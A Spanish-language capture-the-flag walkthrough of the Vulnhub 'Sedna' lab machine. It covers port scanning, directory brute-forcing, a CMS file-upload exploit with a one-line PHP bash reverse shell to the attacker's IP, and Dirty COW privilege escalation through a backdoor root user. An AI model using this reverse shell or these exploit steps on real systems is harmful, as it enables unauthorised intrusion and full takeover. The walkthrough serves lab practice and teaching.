Bueno, en esta entrega sedna es una máquina que según el autor hay múltiples formas de conseguir los permisos como usuario root, asi que lo primero se escanea la máquina.
$ sudo nmap -sV -Pn -A -O -oN sedna 192.168.2.18
Starting Nmap
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).
Not shown: 989 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 aac39e80b48115dd60d508ba3fe0af08 (DSA)
| 2048 417fc25dd53a68e4c5d9cc60067693a5 (RSA)
| 256 ef2d6585f83a85c2330b7df9c8922203 (ECDSA)
|_ 256 ca363c32e624f9b7b4d41dfcc0da1096 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING RESP-CODES TOP STLS UIDL CAPA
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after: 2026-10-07T19:17:14
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35963/tcp6 status
| 100024 1 45479/udp6 status
| 100024 1 49259/udp status
|_ 100024 1 59802/tcp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE ID more post-login have LOGINDISABLEDA0001 capabilities Pre-login STARTTLS listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after: 2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after: 2026-10-07T19:17:14
|_imap-capabilities: LITERAL+ ENABLE ID more have post-login AUTH=PLAINA0001 capabilities Pre-login listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after: 2026-10-07T19:17:14
|_pop3-capabilities: USER AUTH-RESP-CODE PIPELINING SASL(PLAIN) TOP RESP-CODES UIDL CAPA
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ahora en desde el navegador se puede ver lo siguiente.
Ahora se indaga cuáles directorios están disponibles.
$ gobuster dir -u http://192.168.2.18/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.18/files (Status: 301) [Size: 311] [--> http://192.168.2.18/files/]
http://192.168.2.18/themes (Status: 301) [Size: 312] [--> http://192.168.2.18/themes/]
http://192.168.2.18/modules (Status: 301) [Size: 313] [--> http://192.168.2.18/modules/]
http://192.168.2.18/system (Status: 301) [Size: 312] [--> http://192.168.2.18/system/]
http://192.168.2.18/blocks (Status: 301) [Size: 312] [--> http://192.168.2.18/blocks/]
http://192.168.2.18/server-status (Status: 403) [Size: 292]
Progress: 220532 / 220561 (99.99%)
===============================================================
Cuando se revisa el directorio /themes, se pudo obtener más información acerca de la máquina.
Buscando se encontró un exploit para este CMS.
En este caso, solo se le cambia la IP de la VM, y asegurarse que la extensión sea .html, al abrir con el navegador este archivo, solo es necesario cargar el revershell.
$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");?>
Una vez cargado se encuentra en la ruta /files, pero antes se deja escuchando por el puerto que se especificó en el revershell.
$ nc -lvnp 4567
Ya adentro, se explora los archivos y se encuentra el primer flag
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
********************8b9aeac6b289
Llegando a home, se nota que no hay algún workspace de usuarios, se verificó la información de la máquina.
www-data@Sedna:/var/www/html/files$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
Se encontró un exploit con estas características y que permiten elevar privilegios.
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method).
Siguiendo las instrucciones del exploit y te pedirá una contraseña.
gcc -pthread 40839.c -o dirty -lcrypt
./dirty
Algo para resaltar es que aparentemente este exploit es muy agresivo, a los pocos segundos de ejecutarlo la máquina se atora, asi que lo siguiente para conseguir acceso a root, en otra pestaña. Este usuario se encuentra dentro del exploit.
$ ssh -l firefart 192.168.2.19
firefart@192.168.2.19's password: (contraseña que se le dio al exploit)
Ahora para encontrar la flag de root.
firefart@Sedna:~# ls
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip chkrootkit flag.txt
firefart@Sedna:~# cat flag.txt
*****************936614558305
Muchas gracias a @ViperBlackSkull que nos brindó esta VM. Hasta la próxima.
Vulnhub: hackfest2016: Sedna